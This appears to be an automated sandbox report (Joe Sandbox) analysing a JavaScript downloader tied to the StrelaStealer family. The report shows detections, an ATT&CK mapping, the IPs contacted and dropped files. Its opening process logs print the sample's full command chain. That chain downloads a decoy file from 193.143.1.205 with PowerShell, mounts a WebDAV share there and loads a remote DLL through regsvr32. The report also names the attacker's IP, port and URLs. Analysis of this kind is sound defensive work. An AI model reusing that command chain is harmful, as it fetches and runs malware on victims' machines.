Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	2 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	142 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1702927977169302141.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1702927977169302141.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/pace0yB0	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/8E	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/l	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/pace0yB0	net.exe, 00000007.00000002.1356964385.0000029A24360000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2583107698.000002A6AE200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/8E	net.exe, 00000007.00000003.1355334321.0000029A2438D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1357097021.0000029A2438D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1357097021.0000029A2438D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1356964385.0000029A24360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1347834026.0000029A243AD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/l	net.exe, 00000007.00000003.1355334321.0000029A2438D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1357097021.0000029A2438D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1356105178.000002A6AE400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588902
Start date and time:	2025-01-11 06:55:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1702927977169302141.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 50.16.47.176, 54.224.241.105, 34.237.241.83, 18.213.11.84, 23.209.209.135, 2.22.50.131, 2.22.50.144, 172.202.163.200, 20.242.39.171, 2.16.168.105, 2.16.168.107, 4.245.163.56, 20.3.187.198, 4.175.87.197, 23.55.235.177, 23.54.161.98, 13.107.246.45, 173.222.162.55, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www.bing.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:56:17	API Interceptor	23x Sleep call for process: powershell.exe modified
00:56:21	API Interceptor	1x Sleep call for process: net.exe modified
00:56:22	API Interceptor	2x Sleep call for process: svchost.exe modified
00:56:29	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807515825607947
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9w:0J7adfWuK0p/QDfKoPeuP0aN4fqoxr
MD5:	05592EDA951C4E31C421EFFA71DDB077
SHA1:	D6553ECFF2F9F633CCEB5414884B132CB668FE66
SHA-256:	09367165C606503212B3FF1381369F15F3AF25DC729E0AD974FA60B2B99F55F1
SHA-512:	9B444C0B17C8A225C8089B7D12D8C6AD69F764807072302BB3524A97765E732A11C60D354D2142BD5A81DF8D5919FC795F13F432BC30B1A14E7CB37D39FB9AF4
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb349f773, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880291968794287
Encrypted:	false
SSDEEP:	1536:vSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:vazaPv4V4fXq2UaB
MD5:	2ACAF79A8624533D8B0727A4F56B0F60
SHA1:	023EAED63DCB072E9FB5EA5929CDBB84A9583E08
SHA-256:	4B681D1129D549AB75BEA69DAF2457A4ECE06564D752511F5E79EB22E17803B4
SHA-512:	0BD69ACCEC0853990E2F79339AFEA4BF6BA3A07D831B94C28B05E661528EC19E9F7743EAE6CA764D1147BFD3ACD8139BAC304CCC7CD20F780F36FC8142C1F8D7
Malicious:	false
Preview:	.I.s... ...............X\...;...{......................X............{...8...}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................D.}w.8...}O8................DX.'.8...}1..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0813240495680366
Encrypted:	false
SSDEEP:	3:u+XKYeENkYMfv1XlVG0+q2Iqe8lwCxgF/illNTt/4ll/Q6beV/:ueKzQRMGE8lwoeGHtc6V
MD5:	177C26B43E101E5019CB7F0B05879D94
SHA1:	6BDB4E91566793D56218C0C024CEF0E628D3E591
SHA-256:	02D9983EB396626C9F50499B68B469AB8CF4494A6AD9C0F11432B5AC1C994E2C
SHA-512:	85A57873A70689CAD46E56CDCED9466E06ECC7991593AC569BDC4691514CA918A2DDBE56F600B05F3626121E987D75287C3ABC620CDCD5AC2215FBBFFC0FFBBF
Malicious:	false
Preview:	z.G......................................;...{...8...}1......{...............{.......{....:......{.................DX.'.8...}1.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.1453010420113765
Encrypted:	false
SSDEEP:	6:iOK/FMQ+q2PFi2nKuAl9OmbnIFUtAj5WpdWZmwOj5WpQVkwOFi2nKuAl9OmbjLJ:7K/L+vdZHAahFUtA8XW/O8iV5wZHAaSJ
MD5:	58EBCAAFF3EC8F2C261B07A3F9032E9C
SHA1:	3E535E0BD7C07CC2A4FC5BB6CC240A552AED9AE3
SHA-256:	862628BF7B3BC9E98DEB33FDE9EE284F777EA1D2F6A4C821DD8FDE7D577D9AC9
SHA-512:	555E0789B8ECA8F116215B6CDE9C9ECA8B098E3F77688E77497FDCF609D2156BD47536477F9FD8E6ACF3D820541F174169E4189AF5DAA7A61A2E8EA4B8006BE5
Malicious:	false
Preview:	2025/01/11-00:56:21.709 1c3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:56:21.712 1c3c Recovering log #3.2025/01/11-00:56:21.712 1c3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.1453010420113765
Encrypted:	false
SSDEEP:	6:iOK/FMQ+q2PFi2nKuAl9OmbnIFUtAj5WpdWZmwOj5WpQVkwOFi2nKuAl9OmbjLJ:7K/L+vdZHAahFUtA8XW/O8iV5wZHAaSJ
MD5:	58EBCAAFF3EC8F2C261B07A3F9032E9C
SHA1:	3E535E0BD7C07CC2A4FC5BB6CC240A552AED9AE3
SHA-256:	862628BF7B3BC9E98DEB33FDE9EE284F777EA1D2F6A4C821DD8FDE7D577D9AC9
SHA-512:	555E0789B8ECA8F116215B6CDE9C9ECA8B098E3F77688E77497FDCF609D2156BD47536477F9FD8E6ACF3D820541F174169E4189AF5DAA7A61A2E8EA4B8006BE5
Malicious:	false
Preview:	2025/01/11-00:56:21.709 1c3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:56:21.712 1c3c Recovering log #3.2025/01/11-00:56:21.712 1c3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.156665830156013
Encrypted:	false
SSDEEP:	6:iOKr9+q2PFi2nKuAl9Ombzo2jMGIFUtApNXZmwOWVkwOFi2nKuAl9Ombzo2jMmLJ:7Kr4vdZHAa8uFUtAD/OG5wZHAa8RJ
MD5:	20C7F548DB065A4B3197CBEE66697646
SHA1:	96009BB6E529BA35D3C38ACB5DA450B37465A473
SHA-256:	0E7983CDFD1682B1B74068807E91203DCC9721E7E41E93D8248F8FA270929031
SHA-512:	55275B930C745136973B4B1299E1D14C638ACE4289CE0357D4F7D5C3C1D0533DDCB4F53DB1741E70C2E37CB16FC75F933A2E29F4B500F97B594F969E354A7AB1
Malicious:	false
Preview:	2025/01/11-00:56:21.785 2028 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:56:21.787 2028 Recovering log #3.2025/01/11-00:56:21.788 2028 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.156665830156013
Encrypted:	false
SSDEEP:	6:iOKr9+q2PFi2nKuAl9Ombzo2jMGIFUtApNXZmwOWVkwOFi2nKuAl9Ombzo2jMmLJ:7Kr4vdZHAa8uFUtAD/OG5wZHAa8RJ
MD5:	20C7F548DB065A4B3197CBEE66697646
SHA1:	96009BB6E529BA35D3C38ACB5DA450B37465A473
SHA-256:	0E7983CDFD1682B1B74068807E91203DCC9721E7E41E93D8248F8FA270929031
SHA-512:	55275B930C745136973B4B1299E1D14C638ACE4289CE0357D4F7D5C3C1D0533DDCB4F53DB1741E70C2E37CB16FC75F933A2E29F4B500F97B594F969E354A7AB1
Malicious:	false
Preview:	2025/01/11-00:56:21.785 2028 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:56:21.787 2028 Recovering log #3.2025/01/11-00:56:21.788 2028 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7d60a6e8-f129-4fba-9fd6-114f4362a388.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.967189398770519
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnMsBdOg2Hncaq3QYiubpP7E4T3y:Y2sRdsUdMHG3QYhbd7nby
MD5:	C465B67735DD2F62A93724CFF712A3E3
SHA1:	D5CD87E611383BA74198EF29AE759394D13995B3
SHA-256:	8381DD104EC082B078C1F17A9B635480C5C8B9BC3DBFB2A2F3618D4DA7DEFEF4
SHA-512:	17E2BFD03325F81E851524497363688D5C6087126DA90526E314AD2E0C3CD67852D83B0C5A373CF1AEDCD9968212197CBDE39E64C4651EB98F76D541708F9DAA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134993370803","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":159169},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.967189398770519
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnMsBdOg2Hncaq3QYiubpP7E4T3y:Y2sRdsUdMHG3QYhbd7nby
MD5:	C465B67735DD2F62A93724CFF712A3E3
SHA1:	D5CD87E611383BA74198EF29AE759394D13995B3
SHA-256:	8381DD104EC082B078C1F17A9B635480C5C8B9BC3DBFB2A2F3618D4DA7DEFEF4
SHA-512:	17E2BFD03325F81E851524497363688D5C6087126DA90526E314AD2E0C3CD67852D83B0C5A373CF1AEDCD9968212197CBDE39E64C4651EB98F76D541708F9DAA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134993370803","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":159169},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.231832243249531
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVkOUL:wshFT0h7cZb2EVKZPEANcGIK5EVkOUL
MD5:	D010BF6389868FDB9A84DCB7B1EEE9A2
SHA1:	53998881EDAB3B7A114BE8E72BC0D8B7E0D64C54
SHA-256:	0607AA2696264BAB9FA301C6201C77A5612CBAAD03703B2720980CCB59267DE9
SHA-512:	962DB683E2B5DF1AF33D5F19FDA3DFFF2BF4471300484017E36552CAC3102E56B5C7070C0FA44B30D77A6DFA689ED7F7964524520253278018F9C0BD15D721E9
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1472727595861505
Encrypted:	false
SSDEEP:	6:iOm9+q2PFi2nKuAl9OmbzNMxIFUtAFFNXZmwgn9VkwOFi2nKuAl9OmbzNMFLJ:7XvdZHAa8jFUtgv/gnD5wZHAa84J
MD5:	1FA021F3A23BECF2C26415B14FAD9E59
SHA1:	F68265B661688D5C0DEADC800C893096E807BCD1
SHA-256:	BA95ECF2FE127B20FFCF3C8DF595F294905E15A8C16DF759E8DEBEF97567870B
SHA-512:	E26FC7A41BB4DCB50AB044AE04C2D54134680EA3E86E3E54C3298F7770A7F30A0700E5CC74F4F87A10A4428697F1832032F23BA15AA97ED6F0396AB0418305F4
Malicious:	false
Preview:	2025/01/11-00:56:22.405 2028 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:56:22.423 2028 Recovering log #3.2025/01/11-00:56:22.461 2028 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1472727595861505
Encrypted:	false
SSDEEP:	6:iOm9+q2PFi2nKuAl9OmbzNMxIFUtAFFNXZmwgn9VkwOFi2nKuAl9OmbzNMFLJ:7XvdZHAa8jFUtgv/gnD5wZHAa84J
MD5:	1FA021F3A23BECF2C26415B14FAD9E59
SHA1:	F68265B661688D5C0DEADC800C893096E807BCD1
SHA-256:	BA95ECF2FE127B20FFCF3C8DF595F294905E15A8C16DF759E8DEBEF97567870B
SHA-512:	E26FC7A41BB4DCB50AB044AE04C2D54134680EA3E86E3E54C3298F7770A7F30A0700E5CC74F4F87A10A4428697F1832032F23BA15AA97ED6F0396AB0418305F4
Malicious:	false
Preview:	2025/01/11-00:56:22.405 2028 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:56:22.423 2028 Recovering log #3.2025/01/11-00:56:22.461 2028 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438744327732625
Encrypted:	false
SSDEEP:	384:Cekci5GQiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:z8urVgazUpUTTGt
MD5:	2620EA98B512078BEC1C060C59673C95
SHA1:	B09405579E186526ED7FBB50F7D1ACA94DB0523E
SHA-256:	6E176649890EA98516078051D20C7468873A9B87BDE2B551D4F3B6699EF07A05
SHA-512:	C5AC35E966C006FFC9A5DAD9D20EA752EC46E7B18AE190223F806149D259DEA7F71A6882D4A88454B93A4809835A26F469ADCB655D1D44E04F46AF665C69B31C
Malicious:	false
